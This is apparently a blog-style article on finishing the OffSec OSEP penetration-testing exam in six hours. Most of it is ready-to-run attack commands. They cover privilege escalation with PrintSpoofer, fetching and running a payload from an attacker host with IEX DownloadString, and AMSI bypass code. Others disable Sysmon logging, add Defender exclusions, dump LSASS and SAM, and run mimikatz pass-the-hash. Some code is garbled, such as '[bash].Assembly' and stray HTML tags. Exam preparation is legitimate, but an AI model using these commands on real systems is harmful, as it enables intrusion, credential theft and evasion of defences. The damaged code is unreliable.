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Introduction:
The OffSec Experienced Penetration Tester (OSEP) exam challenges candidates to bypass antivirus, evade endpoint detection, and execute advanced post-exploitation under strict time limits. Matthew Younker’s recent feat of clearing the entire exam in six hours highlights a shift toward automation-driven pentesting—where one-shot privilege escalation commands, pre‑packaged toolkits, and iterative Bloodhound analysis replace ad‑hoc manual effort. This article extracts the core technical strategies behind that speed run, delivering verified commands, checklists, and configurations for both Linux and Windows environments.
Learning Objectives:
- Master one‑shot privilege escalation and post‑exploitation commands to accelerate foothold expansion.
- Build portable tool archives and automated checklists that eliminate redundant enumeration steps.
- Integrate Bloodhound with custom Cypher queries and payload validation from challenge labs to dominate Active Directory chains.
You Should Know:
- One‑Shot Privilege Escalation Commands for Windows and Linux
The foundation of a six‑hour OSEP run is having pre‑cooked command sequences that immediately identify and exploit common misconfigurations. Below are verified one‑liners for both operating systems.
Linux one‑shot privesc enumeration:
Find SUID binaries (common vectors: pkexec, sudo, umount) find / -perm -4000 2>/dev/null | xargs ls -la Check writable cron jobs cat /etc/crontab 2>/dev/null | grep -v "^" Kernel exploit suggestion (using Linux Exploit Suggester) wget -q https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh && bash les.sh
Windows one‑shot privesc (PowerShell):
SeImpersonate privilege check + PrintSpoofer
whoami /priv | findstr SeImpersonate
Then drop PrintSpoofer64.exe and run:
.\PrintSpoofer64.exe -i -c cmd.exe
Unquoted service paths vulnerability
Get-CimInstance -ClassName Win32_Service | Where-Object {$<em>.PathName -like " " -and $</em>.StartName -eq "LocalSystem"} | Select Name, PathName
AlwaysInstallElevated registry check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Step‑by‑step guide:
- Run the privilege enumeration commands immediately after gaining a low‑privilege shell.
- Pipe outputs to a local log file (
> privesc_scan.txt). - Match findings against a pre‑made decision matrix (e.g., SeImpersonate → PrintSpoofer, AlwaysInstallElevated → MSI reverse shell).
- Execute the relevant exploit command within 60 seconds.
2. Building a Portable Post‑Exploitation Toolkit Zip File
Matthew emphasized preparing a zip file containing tools for both initial compromise and post‑exploitation stages. This reduces transfer time and avoids reliance on live internet downloads during the exam.
Contents of a typical `tools.zip`:
– `SharpHound.exe` and `BloodHound.py` for AD enumeration
– `mimikatz.exe` (renamed to `werfault.dll` or similar to evade static AV)
– PrintSpoofer64.exe, JuicyPotatoNG.exe, `RoguePotato.exe`
– nc64.exe, plink.exe, `chisel.exe` for tunneling
– PowerView.ps1, Powermad.ps1, `Seatbelt.exe`
– Custom PowerShell one‑liners saved as `.ps1` scripts
Transfer commands (from attacker machine to victim):
Linux -> Windows (using certutil) certutil -urlcache -f http://<attacker_ip>/tools.zip tools.zip Linux -> Linux (wget) wget http://<attacker_ip>/tools.zip -O /tmp/tools.zip Using SMB share (Windows) net use Z: \<attacker_ip>\share /user:attacker pass && copy Z:\tools.zip .
Step‑by‑step guide:
- Compress all tools into a password‑protected zip (e.g.,
7z a -pOSEP2026 tools.zip .exe .ps1). - Host the zip on a Python HTTP server (
python3 -m http.server 80) or SMB share. - After gaining initial access, download and extract with
unzip -P OSEP2026 tools.zip -d C:\Tools. - Execute tools directly from that folder without re‑downloading each binary per machine.
3. Bloodhound Automation: Iterative Reruns and Cypher Queries
Matthew noted “rerunning with Bloodhound each time” as a key tactic. Instead of a single snapshot, run SharpHound after every privilege escalation or new domain credential dump to reveal newly reachable attack paths.
Running SharpHound on Windows target:
SharpHound.exe -c All --OutputDirectory C:\Tools\BH --OutputPrefix "after_privesc"
Parsing with BloodHound CLI (Linux attacker machine):
bloodhound-python -d EXAM.LOCAL -u low_priv_user -p 'pass' -ns 10.10.0.53 -c All
Useful Cypher queries to paste into BloodHound UI:
// Find shortest path from owned computer to Domain Admins
MATCH p=shortestPath((owned:Computer {owned:true})-[:MemberOf|HasSession|AdminTo1..]->(da:Group {name:'DOMAIN [email protected]'})) RETURN p
// List all Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u.samaccountname, u.name
Step‑by‑step guide:
- Run SharpHound immediately after gaining any user shell.
- After compromising a new machine or harvesting a credential, rerun SharpHound with a distinct output prefix.
- Import all `.json` files into BloodHound (use “Upload multiple ZIPs”).
- Apply the “Shortest Path to High Value” preset and execute the custom Cypher query above.
- Prioritise edges that changed between runs—these represent new exploitation vectors.
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Payload Validation Using Challenge Labs 7 & 8
OffSec’s challenge labs 7 and 8 mimic exam‑grade AV and EDR configurations. Matthew insisted on ensuring all payloads work in these labs before the real exam. Below is a validation workflow.
Test a Cobalt Strike beacon (or custom shellcode) against Windows Defender:
On lab machine, download and execute payload
IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/payload.ps1')
If caught, apply AMSI bypass:
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Then re-run payload
Linux payload validation (checking for syscall detections):
Compile with musl to reduce libc hooks musl-gcc -static -o rev_shell rev_shell.c Test execution under strace to see blocked syscalls strace -f ./rev_shell 2>&1 | grep -i permission
Step‑by‑step guide:
- Clone the challenge lab environment (Windows 10 + Defender, Linux + AppArmor).
- For each payload (reverse shell, beacon, privesc exploit), execute it three times.
- If AV triggers, apply obfuscation: use `Invoke-Obfuscation` for PowerShell or `shc` for shell scripts.
- Re‑test until payload executes silently. Create a “validated payloads” folder.
-
Refined Checklists: No Step Forgotten Under Time Pressure
A checklist transforms messy enumeration into a repeatable formula. Matthew’s approach uses two checklists: one for initial compromise, another for post‑exploitation.
Sample initial compromise checklist (Windows):
- [ ] Run `Seatbelt` to collect basic system info
- [ ] Enumerate unquoted service paths (
wmic service get name,pathname) - [ ] Check for unattended files (
dir C:\Windows\Panther\.xml) - [ ] Dump LSASS if high integrity (
procdump -ma lsass.exe) - [ ] Run SharpHound (collect data, don’t analyse yet)
Post‑exploitation checklist (after SYSTEM):
- [ ] Extract all hashes from SAM and LSA secrets (
reg save hklm\sam C:\sam) - [ ] Dump domain credentials with Mimikatz (
sekurlsa::ekeys) - [ ] Rerun Bloodhound with domain admin privileges
- [ ] Identify and Kerberoast high‑value accounts (
GetUserSPNs.py)
Step‑by‑step guide:
- Write checklists in a markdown file with checkboxes.
- Convert each checklist item into a one‑line command or batch script.
- During the exam, tick off items as you go; never backtrack.
- If stuck on an item for >10 minutes, move to the next and return later.
-
AV Evasion Basics: From the Post to Practical Bypasses
Although the original post only mentions “AV basics,” OSEP requires bypassing real‑world antivirus. The techniques below are exam‑safe (no kernel exploits) but effective.
AMSI bypass via memory patching (PowerShell):
Bypass AMSI by setting the context to a benign string
$amsi = [bash].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$field.SetValue($null, [bash]::Zero)
ETW (Event Tracing for Windows) suppression via registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational" /v Start /t REG_DWORD /d 0 /f Reboot or restart Sysmon service for effect
Windows Defender exclusion folder (requires admin):
Add-MpPreference -ExclusionPath "C:\Tools"
Step‑by‑step guide:
- Upload a harmless test .exe (e.g.,
whoami.exe) to the victim. - Run the AMSI bypass in the current PowerShell session.
- Execute the payload. If still blocked, add a Defender exclusion folder.
- For Linux, use `memfd_create` to run shellcode from memory without touching disk.
-
Transitioning to CAPE: What Changes in the AD Chain
CAPE (Certified Advanced Persistent Threat) focuses on multi‑forest Active Directory attacks. Matthew notes the AD chain is “a different beast.” Key differences and preparatory commands:
CAPE‑style AD enumeration (cross‑forest):
From Linux using bloodhound.py with trust mapping bloodhound-python -d EXAM.LOCAL -u user -p pass -ns 10.10.0.53 -c All --dns-timeout 5 -dc dc.exam.local --auth-method kerberos Enumerate external domain trusts nltest /domain_trusts /all_trusts
One‑shot cross‑forest lateral movement (using overpass‑the‑hash):
From Windows, inject a hash into current session for trusted domain mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:EXAM.LOCAL /user:admin /ntlm:HASH /run:powershell.exe" exit Now access resources in the trusted forest ls \dc.trusted.local\c$
Step‑by‑step guide:
- Map all trusts with `nltest` or `Get-DomainTrust` from PowerView.
- For each trust, request a TGT from the current domain and use it to authenticate to the trusted domain.
- Re‑run Bloodhound with credentials from the second forest.
- Look for “SIDHistory” or “Member of (ACL abuse)” edges that cross forests.
What Undercode Say:
- Speed comes from preparation, not hacking faster. One‑shot commands, pre‑packed tool zip files, and rerunnable checklists remove cognitive load during the exam.
- Automation of Bloodhound after every credential change reveals new attack paths that static enumeration misses—making six‑hour completions possible.
- Mentorship and community checklists directly contributed to Matthew’s success; sharing refined methodologies lifts the entire penetration testing field.
The OSEP exam measures not just technical depth but operational efficiency. By standardising privilege escalation commands, validating payloads in challenge labs, and iterating Bloodhound analysis, candidates can cut exam time from days to hours. The broader implication for red teams is clear: treat each engagement as a repeatable workflow, document every one‑shot trick, and always rerun your AD enumeration after a privilege change. Those who do will consistently outperform ad‑hoc testers, whether in a certification exam or a live breach simulation.
Prediction:
The next generation of penetration testing certifications (including CAPE and beyond) will increasingly require integration of automated toolchains and AI‑assisted exploitation. Expect exam environments to adapt by deploying dynamic EDR that learns from repeated behaviours—forcing testers to obfuscate not just payloads but entire command sequences. Meanwhile, platforms like OffSec will likely introduce time‑reduced exam windows (e.g., 24 hours down to 8) as candidates master one‑shot techniques. The future belongs to red teamers who treat every command as code—versioned, repeatable, and ready to fire in seconds.
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Reported By: Matthew Y – Hackers Feeds
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Basic Verification: Pass ✅
